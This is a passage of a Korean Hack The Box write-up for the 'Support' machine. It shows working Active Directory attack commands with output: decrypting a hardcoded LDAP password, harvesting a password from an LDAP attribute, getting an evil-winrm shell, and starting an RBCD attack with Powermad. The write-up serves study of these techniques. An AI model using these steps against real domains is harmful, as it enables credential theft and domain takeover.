▌ TRANSMISSION · [HTB]

[EASY_WINDOWS] Support write-up

2026-06-21 · nxc · smb · ILSpy · Decompile · Reversing · LDAP · Bloodhound · LDAP-Query · RBCD(Resource-Based Constrained Delegation) · Powermad · PowerView · SID · ACE · ACL · S4U · S4U2self · S4U2proxy · Kerberos · rc4 hash · Rubeus

alt text

이번 머신은 따로 주어진 계정 정보가 없었다.

그래서 nmap을 사용해 주어진 머신 IP를 대상으로 포트/서비스 스캐닝을 진행하는 것부터 시작했다.

➜  supprot-easy-win sudo nmap 10.129.230.181 -sV -sC --open --min-rate 3000
[sudo] password for m0nk3ygod:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-10 10:37 +0900
Nmap scan report for 10.129.230.181
Host is up (0.76s latency).
Not shown: 988 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-06-10 01:37:53Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-06-10T01:38:46
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 196.23 seconds

스캔 결과 Windows 운영체제를 사용하고 있고, ldap, kerberos, smb 등등의 서비스가 돌고 있는 것으로 보아, 해당 머신은 AD 환경에서 돌아가는 DC임을 짐작할 수 있다.

host : DC
domain : support.htb

(/etc/hosts에 ip와 도메인 매핑)

➜  supprot-easy-win dc_ip=10.129.230.181
➜  supprot-easy-win faketime "$(ntpdate -q ${dc_ip} | head -1 | cut -d ' ' -f 1,2)" zsh

(시간 동기화)

우선 nxc로 smb에 자격증명 없이 접근이 가능한지 확인해 봤다.

➜  supprot-easy-win nxc smb ${dc_ip} -u 'anonymous'
SMB         10.129.230.181  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:None) (Null Auth:True)

확인 결과 Null Auth가 켜져있어, 별 다른 자격 증명 없이 공유 자원에 접근 할 수 있음을 확인했다.

smbclient를 통해 직접 공유 자원들을 열거해봤다.

NetExec는 내부적으로 srvsvc라는 Named Pipe(RPC Pipe)에 바인딩하여 NetShareEnumAll 이라는 윈도우 API를 직접 호출하려고 시도한다. Windows Server 2022(대상 서버)는 SMB Signing이 강제(signing:True)되어있고, 보안이 엄격해서 패킷의 서명 구조나 파이프 권한이 조금이라도 어긋나면 연결을 끊어버린다. 그렇기에 하위 호환성을 위한 구형 프로토콜이나 더 낮은 수준의 정보를 요청하는 smbclient를 이용하여 접근하였다.

➜  supprot-easy-win smbclient -N -L //${dc_ip}

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        support-tools   Disk      support staff tools
        SYSVOL          Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.230.181 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

성공적으로 공유 자원들을 확인할 수 있었고, 이중에서 support-tools 라는 이름의 자원이 눈에 띄어 확인해보기로 했다.

➜  supprot-easy-win smbclient -N //${dc_ip}/support-tools
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Jul 21 02:01:06 2022
  ..                                  D        0  Sat May 28 20:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 20:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 20:19:55 2022
  putty.exe                           A  1273576  Sat May 28 20:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 20:19:31 2022
  UserInfo.exe.zip                    A   277499  Thu Jul 21 02:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 20:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 20:19:43 2022

                4026367 blocks of size 4096. 970922 blocks available

support-tools 내부에는 위와 같은 파일들이 있었는데, UserInfo.exe.zip이 굉장히 수상하다.

바로 다운받아봤다.

smb: \> get UserInfo.exe.zip
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (27.7 KiloBytes/sec) (average 27.7 KiloBytes/sec)
smb: \> exit
➜  supprot-easy-win mkdir UserInfo
➜  supprot-easy-win unzip UserInfo.exe.zip -d ./UserInfo
Archive:  UserInfo.exe.zip
  inflating: ./UserInfo/UserInfo.exe
  inflating: ./UserInfo/CommandLineParser.dll
  inflating: ./UserInfo/Microsoft.Bcl.AsyncInterfaces.dll
  inflating: ./UserInfo/Microsoft.Extensions.DependencyInjection.Abstractions.dll
  inflating: ./UserInfo/Microsoft.Extensions.DependencyInjection.dll
  inflating: ./UserInfo/Microsoft.Extensions.Logging.Abstractions.dll
  inflating: ./UserInfo/System.Buffers.dll
  inflating: ./UserInfo/System.Memory.dll
  inflating: ./UserInfo/System.Numerics.Vectors.dll
  inflating: ./UserInfo/System.Runtime.CompilerServices.Unsafe.dll
  inflating: ./UserInfo/System.Threading.Tasks.Extensions.dll
  inflating: ./UserInfo/UserInfo.exe.config

압축 풀어보니 여러 데이들이 나오는데… 실행 파일인 UserInfo.exe 파일을 확인해보자.

➜  UserInfo file UserInfo.exe
UserInfo.exe: PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sections

해당 프로그램은 32비트 아키텍처용으로 제작된 PE파일이고, .NET 런타임 위에서 동작하도록 만들어져있음을 확인할 수 있었다.

디컴파일해서 내부 소스 코드에 동작을 살펴보자.

이 경우에는 IDA나 Ghidra 보다 .NET 디컴파일러인 ILSpy 같은 것을 이용해보면 좋을 것 같다.

ILSpy

https://github.com/icsharpcode/ilspy

설치 방법은 아래 명령을 순서대로 실행하면 된다.

wget https://dot.net/v1/dotnet-install.sh -O dotnet-install.sh
chmod +x dotnet-install.sh

./dotnet-install.sh --channel 10.0

echo 'export DOTNET_ROOT=$HOME/.dotnet' >> ~/.zshrc
echo 'export PATH=$PATH:$HOME/.dotnet:$HOME/.dotnet/tools' >> ~/.zshrc
source ~/.zshrc

dotnet --version

dotnet tool install --global ilspycmd

설치가 끝났으니, 디컴파일된 소스 코드를 한번 읽어보자.

ilspycmd UserInfo.exe

alt text

소스코드를 까보면, 암호화된 패스워드가 하드코딩 되어있고, xor 방식으로 암호화할 때 사용된 키 값인 armando 라는 문자열도 확인할 수 있다.

또한, LDAP 접속할 때 복호화된 패스워드가 사용되며, ldap 이라는 이름의 사용자도 발견할 수 있었다. (support = domain)

복호화 과정은 다음과 같다. (getPassword())

암호화된 패스워드를 base64 디코딩 후, 바이트 배열로 변환한다.
array값을 array2에도 넣는다.
armando를 순회하면서 xor 연산을 하고, 상수 0xDF와 한 번 더 xor 연산을 한다.
복화화 성공 ㅎ

이거를 똑같이 구현하면 평문 비밀번호가 나올거고, 얻은 계정 정보로 AD Enumeration을 진행하면 될 것 같다.

python으로 위 동작을 구현해보면,

import base64

enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"

data = base64.b64decode(enc_password)

result = []
for i in range(len(data)):
    c = data[i]
    k = key[i % len(key)]
    decrypted = c ^ k ^ 0xDF
    result.append(decrypted)

password = bytes(result)

print(password.decode(errors="replace"))

요렇게 해볼 수 있고,

출력해보면?

➜  supprot-easy-win python3 decode.py
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

요런 패스워드가 나온다. (~~패스워드 잘못 뽑은 줄 알고 코드 몇번 갈아 엎었다.~~)

얻은 정보가 유효한지 확인해보기 위해 해당 계정 정보로 다시 smb에 접근해보면,

➜  supprot-easy-win nxc smb ${dc_ip} -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
SMB         10.129.230.181  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.230.181  445    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

먹힌다!!

바로 bloodhound를 돌려보기로 했다.

우선 bloodhound-python으로 bloodhound에 넣을 데이터를 수집해주고,

➜  supprot-easy-win bloodhound-python -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d 'support.htb' -c all --zip -ns ${dc_ip} --dns-tcp
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: support.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 21 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.support.htb
INFO: Done in 01M 03S
INFO: Compressing output into 20260610143631_bloodhound.zip

bloodhound에 올려줬다.

alt text

ldap이라 그런지 따로 뭐가 없어서, ldap 프로토콜을 이용해볼 수 있으니 이걸로 정보 수집을 해보면 어떨까 싶었다.

➜ supprot-easy-win nxc ldap -h

...

Retrieve useful information on the domain:
  --base-dn BASE_DN     base DN for search queries
  --query QUERY QUERY   Query LDAP with a custom filter and attributes
  --find-delegation     Finds delegation relationships within an Active Directory domain. (Enabled Accounts only)
  --trusted-for-delegation
                        Get the list of users and computers with flag TRUSTED_FOR_DELEGATION
  --password-not-required
                        Get the list of users with flag PASSWD_NOTREQD
  --admin-count         Get user that had the value adminCount=1
  --users [USERS ...]   Enumerate domain users
  --users-export USERS_EXPORT
                        Enumerate domain users and export them to the specified file
  --groups [GROUPS]     Enumerate domain groups, if a group is specified than its members are enumerated
  --computers           Enumerate domain computers
  --dc-list             Enumerate Domain Controllers
  --get-sid             Get domain sid
  --active-users [ACTIVE_USERS ...]
                        Get Active Domain Users Accounts
  --pso                 Get Fine Grained Password Policy/PSOs
  --pass-pol            Dump password policy

  ...

nxc ldap 도움말을 보니까 도메인에서 유용한 정보를 검색할 때 사용하는 명령어들이 있다.

오, --password-not-required 요런거를 써봐도 좋을 것 같다. (패스워드가 필요하지 않도록 설정된 계정 확인)

➜  supprot-easy-win nxc ldap ${dc_ip} -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --password-not-required
LDAP        10.129.230.181  389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.230.181  389    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
LDAP        10.129.230.181  389    DC               User: Guest Status: enabled

아닌가보다.

도메인 사용자 목록들을 저장할 수도 있길래, 다른 계정으로 접근하기 위한 후보들을 파악해두려고 저장해줬다. (--users-export <file>)

➜  supprot-easy-win nxc ldap ${dc_ip} -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --users-export users.txt
LDAP        10.129.230.181  389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.230.181  389    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
LDAP        10.129.230.181  389    DC               [*] Enumerated 20 domain users: support.htb
LDAP        10.129.230.181  389    DC               -Username-                    -Last PW Set-       -BadPW-  -Description-
LDAP        10.129.230.181  389    DC               Administrator                 2022-07-20 02:55:56 0        Built-in account for administering the computer/domain
LDAP        10.129.230.181  389    DC               Guest                         2022-05-28 20:18:55 0        Built-in account for guest access to the computer/domain
LDAP        10.129.230.181  389    DC               krbtgt                        2022-05-28 20:03:43 0        Key Distribution Center Service Account
LDAP        10.129.230.181  389    DC               ldap                          2022-05-28 20:11:46 0
LDAP        10.129.230.181  389    DC               support                       2022-05-28 20:12:00 1
LDAP        10.129.230.181  389    DC               smith.rosario                 2022-05-28 20:12:19 0
LDAP        10.129.230.181  389    DC               hernandez.stanley             2022-05-28 20:12:34 0
LDAP        10.129.230.181  389    DC               wilson.shelby                 2022-05-28 20:12:50 0
LDAP        10.129.230.181  389    DC               anderson.damian               2022-05-28 20:13:05 0
LDAP        10.129.230.181  389    DC               thomas.raphael                2022-05-28 20:13:21 0
LDAP        10.129.230.181  389    DC               levine.leopoldo               2022-05-28 20:13:37 0
LDAP        10.129.230.181  389    DC               raven.clifton                 2022-05-28 20:13:53 0
LDAP        10.129.230.181  389    DC               bardot.mary                   2022-05-28 20:14:08 0
LDAP        10.129.230.181  389    DC               cromwell.gerard               2022-05-28 20:14:24 0
LDAP        10.129.230.181  389    DC               monroe.david                  2022-05-28 20:14:39 0
LDAP        10.129.230.181  389    DC               west.laura                    2022-05-28 20:14:55 0
LDAP        10.129.230.181  389    DC               langley.lucy                  2022-05-28 20:15:10 0
LDAP        10.129.230.181  389    DC               daughtler.mabel               2022-05-28 20:15:26 0
LDAP        10.129.230.181  389    DC               stoll.rachelle                2022-05-28 20:15:42 0
LDAP        10.129.230.181  389    DC               ford.victoria                 2022-05-28 20:15:58 0
LDAP        10.129.230.181  389    DC               [*] Writing 20 local users to users.txt

저장할 때 보니까 Last PW Set, BadPW, Description 같은 헤더들이 보였는데, support 사용자의 BadPW (나쁜 패스워드. 취약한 패스워드)가 1로 설정되어 있었다.

이 사용자의 정보를 조회해보면 단서가 있지 않을까 싶다.

그럴려면 쿼리를 써야할 것 같아서, 쿼리 사용법을 좀 알고 싶어서 찾아봤다.

- https://learn.microsoft.com/en-us/windows/win32/adsi/search-filter-syntax

sAMAccountName : 계정 이름 (Security Account Manager Account Name)

계정 이름을 지정해서 해당 계정의 속성 정보들을 전부 뽑아주는걸 써봤는데,

➜  supprot-easy-win nxc ldap ${dc_ip} -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --query '(sAMAccountName=support)' ''
LDAP        10.129.230.181  389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.230.181  389    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
LDAP        10.129.230.181  389    DC               [+] Response for object: CN=support,CN=Users,DC=support,DC=htb
LDAP        10.129.230.181  389    DC               objectClass          top
LDAP        10.129.230.181  389    DC                                    person
LDAP        10.129.230.181  389    DC                                    organizationalPerson
LDAP        10.129.230.181  389    DC                                    user
LDAP        10.129.230.181  389    DC               cn                   support
LDAP        10.129.230.181  389    DC               c                    US
LDAP        10.129.230.181  389    DC               l                    Chapel Hill
LDAP        10.129.230.181  389    DC               st                   NC
LDAP        10.129.230.181  389    DC               postalCode           27514
LDAP        10.129.230.181  389    DC               distinguishedName    CN=support,CN=Users,DC=support,DC=htb
LDAP        10.129.230.181  389    DC               instanceType         4
LDAP        10.129.230.181  389    DC               whenCreated          20220528111200.0Z
LDAP        10.129.230.181  389    DC               whenChanged          20220528111201.0Z
LDAP        10.129.230.181  389    DC               uSNCreated           12617
LDAP        10.129.230.181  389    DC               info                 Ironside47pleasure40Watchful
LDAP        10.129.230.181  389    DC               memberOf             CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
LDAP        10.129.230.181  389    DC                                    CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
LDAP        10.129.230.181  389    DC               uSNChanged           12630
LDAP        10.129.230.181  389    DC               company              support
LDAP        10.129.230.181  389    DC               streetAddress        Skipper Bowles Dr
LDAP        10.129.230.181  389    DC               name                 support
LDAP        10.129.230.181  389    DC               objectGUID           0aa33931-fa31-3045-9ea4-8053b396a7f1
LDAP        10.129.230.181  389    DC               userAccountControl   66048
LDAP        10.129.230.181  389    DC               badPwdCount          1
LDAP        10.129.230.181  389    DC               codePage             0
LDAP        10.129.230.181  389    DC               countryCode          0
LDAP        10.129.230.181  389    DC               badPasswordTime      134255407721826053
LDAP        10.129.230.181  389    DC               lastLogoff           0
LDAP        10.129.230.181  389    DC               lastLogon            0
LDAP        10.129.230.181  389    DC               pwdLastSet           132982099209777070
LDAP        10.129.230.181  389    DC               primaryGroupID       513
LDAP        10.129.230.181  389    DC               objectSid            S-1-5-21-1677581083-3380853377-188903654-1105
LDAP        10.129.230.181  389    DC               accountExpires       9223372036854775807
LDAP        10.129.230.181  389    DC               logonCount           0
LDAP        10.129.230.181  389    DC               sAMAccountName       support
LDAP        10.129.230.181  389    DC               sAMAccountType       805306368
LDAP        10.129.230.181  389    DC               objectCategory       CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
LDAP        10.129.230.181  389    DC               dSCorePropagationData 20220528111201.0Z
LDAP        10.129.230.181  389    DC                                    16010101000000.0Z

info 속성에서 Ironside47pleasure40Watchful 이라는 의미있는 문자열을 발견했다.

딱 봐도 패스워드 느낌이어서 조회해보니.

➜  supprot-easy-win nxc smb ${dc_ip} -u support -p 'Ironside47pleasure40Watchful'
SMB         10.129.230.181  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.230.181  445    DC               [+] support.htb\support:Ironside47pleasure40Watchful

먹힌다!!

bloodhound로 돌아가서 해당 사용자를 pwned 처리하고, 공격 경로를 탐색해봤다.

PathFinding으로 DC.SUPPORT.HTB로 도달할 수 있는 최단 경로를 조회해보니,

alt text

요런식으로 도달할 수 있었다…! (GenericAll 권한 - 엣지 확인)

user.txt (flag)

일단 support가 속해있는 다른 그룹들을 보면,

alt text

Remote management users 그룹에도 속해있음을 알 수 있다.

그러면 winRM 접속이 가능할 것 같다. 확인해보면,

➜  supprot-easy-win nxc winrm ${dc_ip} -u support -p 'Ironside47pleasure40Watchful'                                                                                                     WINRM       10.129.230.181  5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb)                                                                  WINRM       10.129.230.181  5985   DC               [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)                                                                       ➜  supprot-easy-win evil-winrm -i ${dc_ip} -u support -p 'Ironside47pleasure40Watchful'                                                                                                                                                                                                                                                                                         Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\support\Documents>

요렇게 컴퓨터에 접속에 접속할 수 있고, 여기서 user flag를 획득할 수 있다.

*Evil-WinRM* PS C:\Users\support\Documents> type ../Desktop/user.txt
7fce************************2d9b

이제 GenericAll의 Abuse 내용을 살펴보자. (Windows 용으로 진행해봤다.)

내용이 엄청 긴데, 핵심은 Resource-Based Constrained Delegation(RBCD) 이다.

Resource-Based Constrained Delegation(RBCD)

RBCD를 이해하려면 먼저 Delegation이 무엇인지 알아야 한다.

Delegation이란?

Active Directory에서 Delegation은 어떤 서비스가 사용자를 대신해서 다른 서비스에 접근할 수 있도록 허용하는 기능이다.

예를 들어 다음과 같은 구조를 생각해보자.

사용자 → 웹 서버 → 파일 서버

사용자가 웹 서버에 로그인했다.

그런데 웹 서버가 사용자의 파일 정보를 보여주기 위해 파일 서버에 접근해야 한다.

이때 파일 서버 입장에서는 단순히 “웹 서버가 접근했다”가 아니라, 다음과 같이 판단할 수 있어야 한다.

웹 서버가 접근하긴 했지만,
실제로는 사용자의 권한으로 접근하는 것이구나.

즉, 웹 서버가 사용자인 척하고 파일 서버에 접근하는 것이다.

이처럼 서비스가 사용자를 대신해서 다른 서비스에 접근하는 것을 Delegation(위임)이라고 한다.

일반적인 Constrained Delegation

Delegation을 아무 제한 없이 허용하면 위험하다.

예를 들어 웹 서버가 사용자를 대신해서 도메인 안의 모든 서비스에 접근할 수 있다면, 웹 서버 하나가 털렸을 때 피해 범위가 너무 커진다.

그래서 나온 개념이 Constrained Delegation이다.

Constrained는 “제한된”이라는 뜻이다.

Constrained Delegation은 다음과 같은 방식이다.

이 서비스는 사용자를 대신할 수는 있지만,
정해진 서비스로만 위임(대신 접근)할 수 있다.

예를 들어 다음과 같은 구조가 있다고 해보자.

사용자 Alice
   ↓
WEB01
   ↓
SQL01

관리자는 WEB01이 사용자를 대신해서 SQL01의 데이터베이스 서비스에만 접근할 수 있도록 설정할 수 있다.

이 설정은 WEB01 쪽에 저장된다. (뒤에서 나오겠지만, 이게 RBCD와의 가장 큰 차이점이다.)

정확히는 WEB01$ 같은 컴퓨터 계정이나, svc_web 같은 서비스 계정에 다음과 같은 의미의 설정이 들어간다.

나는 사용자를 대신해서 SQL01의 MSSQL 서비스에 접근할 수 있다.

일반적인 Constrained Delegation에서 사용되는 대표적인 속성은 다음과 같다.

msDS-AllowedToDelegateTo

이 속성에는 “이 계정이 사용자를 대신해서 접근할 수 있는 서비스 목록”이 들어간다.

예를 들면 이런 식이다.

WEB01$ 객체

msDS-AllowedToDelegateTo:
- MSSQLSvc/sql01.support.htb:1433

이 의미는 다음과 같다.

WEB01$는 사용자를 대신해서
SQL01의 MSSQL 서비스에 접근할 수 있다.

중요한 점은 이 설정이 접근당하는 SQL01 쪽에 있는 것이 아니라, 위임을 수행하는 WEB01 쪽에 저장된다는 것이다.

RBCD?

RBCD는 Resource-Based Constrained Delegation의 약자이다.

이름 그대로, Delegation 설정의 기준이 Resource, 즉 접근당하는 대상 리소스 쪽으로 옮겨간 방식이다.

일반적인 Constrained Delegation에서는 위임을 수행하는 쪽이 다음과 같은 목록을 들고 있었다.

WEB01:
“나는 SQL01로 위임할 수 있다.”

반면 RBCD에서는 접근당하는 대상 컴퓨터가 직접 명단을 들고 있다.

SQL01:
“WEB01은 나에게 사용자를 대신해서 접근해도 된다.”

즉, 관점이 반대이다.

일반 Constrained Delegation은 “내가 어디로 위임할 수 있는가”를 위임하는 쪽이 들고 있고, RBCD는 “누가 나에게 위임할 수 있는가”를 접근당하는 쪽이 들고 있다.

표로 정리하면 다음과 같다.

구분	일반 Constrained Delegation	RBCD
설정이 저장되는 위치	위임하는 쪽	접근당하는 쪽
예시	`WEB01$` 객체	`SQL01$` 객체
의미	“나는 SQL01로 위임할 수 있다”	“WEB01은 나에게 위임할 수 있다”
주요 속성	`msDS-AllowedToDelegateTo`	`msDS-AllowedToActOnBehalfOfOtherIdentity`

RBCD에서 중요한 속성은 다음과 같다.

msDS-AllowedToActOnBehalfOfOtherIdentity

이 속성은 대상 컴퓨터 객체에 존재하는데, 이 속성 안에는 다음과 같은 명단이 들어간다.

나에게 접근할 때,
이 계정들은 다른 사용자를 대신해서 접근해도 된다.

(이름이 Resource-Based 인 이유)

RBCD 공격

공격자가 대상 컴퓨터 객체의 msDS-AllowedToActOnBehalfOfOtherIdentity 속성을 수정할 수 있으면(GenericAll 권한을 활용), 자신이 조종하는 계정용(서비스 계정, 컴퓨터 계정)을 그 명단에 넣을 수 있다.

그러면 KDC는 다음과 같이 판단한다.

대상 컴퓨터 객체(DC)가 이 계정(FAKEPC)을 신뢰한다고 설정되어 있네?
그럼 이 계정(FAKEPC)이 사용자(Administrator)를 대신해서 대상 서비스에 접근해도 되겠네.

즉, 공격자는 관리자 비밀번호를 몰라도, 관리자 사용자를 가장한 Kerberos 서비스 티켓을 받을 수 있다.

이번 문제에서는 support 계정이 DC 컴퓨터 객체에 대해 GenericAll 권한을 가지고 있었다.

따라서 support 계정은 DC 컴퓨터 객체의 msDS-AllowedToActOnBehalfOfOtherIdentity 속성도 수정하여 악용하는 공격이 가능할 것 같다.

RBCD 공격 흐름

RBCD 공격 흐름은 크게 다음과 같다.

1. 공격자가 조종할 서비스 계정(또는 컴퓨터 계정)을 준비한다.
2. 대상 컴퓨터 객체의 msDS-AllowedToActOnBehalfOfOtherIdentity 속성을 수정한다.
3. Kerberos 서비스 티켓을 요청한다.
4. 얻은 티켓을 사용해 대상 서비스에 접근한다.

이번 상황에 맞게 풀어보면 다음과 같다.

1. 가짜 컴퓨터 계정 FAKEPC$를 만든다.
2. DC 객체의 msDS-AllowedToActOnBehalfOfOtherIdentity 속성에 FAKEPC$를 추가한다.
3. FAKEPC$로 KDC에게 요청한다.
   “내가 Administrator를 대신해서 DC의 특정 서비스에 접근할 수 있는 티켓을 달라.”
4. KDC는 DC 객체의 RBCD 설정을 확인한다.
   “DC가 FAKEPC$를 신뢰하도록 설정되어 있네?”
5. KDC가 Administrator → cifs/DC 같은 TGS를 발급한다.
6. 공격자는 이 TGS를 사용해 DC의 해당 서비스에 Administrator처럼 접근한다.

흐름을 그림처럼 보면 다음과 같다.

support 계정
   |
   | DC 객체에 GenericAll 권한 보유
   v
DC 컴퓨터 객체 수정 가능
   |
   | msDS-AllowedToActOnBehalfOfOtherIdentity 수정
   v
“FAKEPC$는 나에게 사용자를 대신해서 접근해도 됨”
   |
   v
FAKEPC$ 계정으로 Administrator를 가장한 서비스 티켓 요청
   |
   v
DC의 CIFS/LDAP/HOST 등 서비스에 Administrator처럼 접근

가짜 컴퓨터 계정은 왜 만들까?

처음에 “그냥 support 계정으로 하면 안 되나? 왜 굳이 가짜 컴퓨터 계정을 만들어야할까?” 라는 생각이 들었었다.

그 이유는 실제로 사용자를 가장해서 서비스 티켓을 요청하는 쪽은 SPN을 가진 서비스 계정이어야 하기 때문이다.

SPN(Service Principal Name)

SPN은 Kerberos에서 “이 계정은 특정 서비스를 대표한다”는 표시이다.

Kerberos Delegation은 기본적으로 서비스가 사용자를 대신해서 다른 서비스에 접근하는 구조이기 때문에, 가장하는 쪽은 서비스 계정처럼 동작해야만 한다.

일반 사용자 계정인 support는 기본적으로 SPN이 없기 때문에, Delegation의 주체로 쓰기 어렵다.

반면 컴퓨터 계정은 생성되면 기본적으로 SPN을 가진다.

그래서 공격자는 가짜 컴퓨터 계정을 만드는 것이다.

AI가 해준 정리

RBCD 공격은 다음과 같이 정리할 수 있다.

대상 컴퓨터 객체를 수정할 수 있는 권한을 이용해,
내가 조종하는 서비스 계정을 대상의 신뢰 명단에 추가하고,
그 계정으로 관리자 사용자를 가장한 Kerberos 서비스 티켓을 발급받아 접근하는 공격이다.

이번 박스에서는 다음 구조였다.

support 계정 → DC 객체에 GenericAll 보유
DC 객체 → RBCD 속성 수정 가능
공격자 → 가짜 컴퓨터 계정 생성
가짜 컴퓨터 계정 → DC에게 신뢰받는 위임 주체가 됨
KDC → Administrator를 가장한 DC 서비스 티켓 발급
공격자 → 티켓을 사용해 DC에 Administrator처럼 접근

헷갈리지 않게 역할을 다시 정리하면 다음과 같다.

역할	이번 예시	설명
설정을 바꾸는 계정	`support`	DC 객체에 `GenericAll`이 있어 RBCD 속성을 수정할 수 있음
공격자가 조종하는 서비스 계정	가짜 컴퓨터 계정	SPN을 가지고 있어 Delegation 주체로 사용됨
공격 대상 리소스	`DC$`	RBCD 속성이 수정되는 대상 컴퓨터 객체
가장할 사용자	`Administrator`	Kerberos 티켓 안에서 가장되는 사용자
접근할 서비스	`cifs/DC`, `ldap/DC`, `host/DC` 등	실제로 접근하려는 DC의 서비스

가장 중요한 점은 이것이다.

support 계정은 Administrator가 되는 계정이 아니라,
DC 객체의 설정을 바꾸는 데 사용되는 계정이다.

Administrator를 가장한 티켓을 요청하는 주체는
공격자가 만든 SPN 보유 계정, 즉 가짜 컴퓨터 계정이다.

이제 Abuse 설명에 나온 명령을 천천히 따라가보자.

1. 컴퓨터 생성 및 도메인 등록

abuse에서 사용하는 명령을 사용하려면 Powermad 라는 유틸이 필요하다.

https://github.com/kevin-robertson/powermad

클론해와주고,

➜  supprot-easy-win git clone https://github.com/Kevin-Robertson/Powermad.git
Cloning into 'Powermad'...
remote: Enumerating objects: 94, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 94 (delta 1), reused 3 (delta 1), pack-reused 86 (from 1)
Receiving objects: 100% (94/94), 95.64 KiB | 4.55 MiB/s, done.
Resolving deltas: 100% (50/50), done.

evil-winrm으로 접속해서 upload로 파일을 가져왔다.

*Evil-WinRM* PS C:\Users\support\Documents> upload Powermad/Powermad.ps1

Info: Uploading /home/m0nk3ygod/Documents/htb/active/supprot-easy-win/Powermad/Powermad.ps1 to C:\Users\support\Documents\Powermad.ps1

Data: 180768 bytes of 180768 bytes copied

Info: Upload successful!

다음으로 ps1 스크립트를 실행해준 뒤,

 . .\Powermad.ps1

abuse에 있던 명령으로 컴퓨터를 생성해주자.

New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'monkeygod0806!' -AsPlainText -Force)

*Evil-WinRM* PS C:\Users\support\Documents> New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'monkeygod0806!' -AsPlainText -Force)
[+] Machine account attackersystem added

(비번은 내가 바꿈 ㅎ)

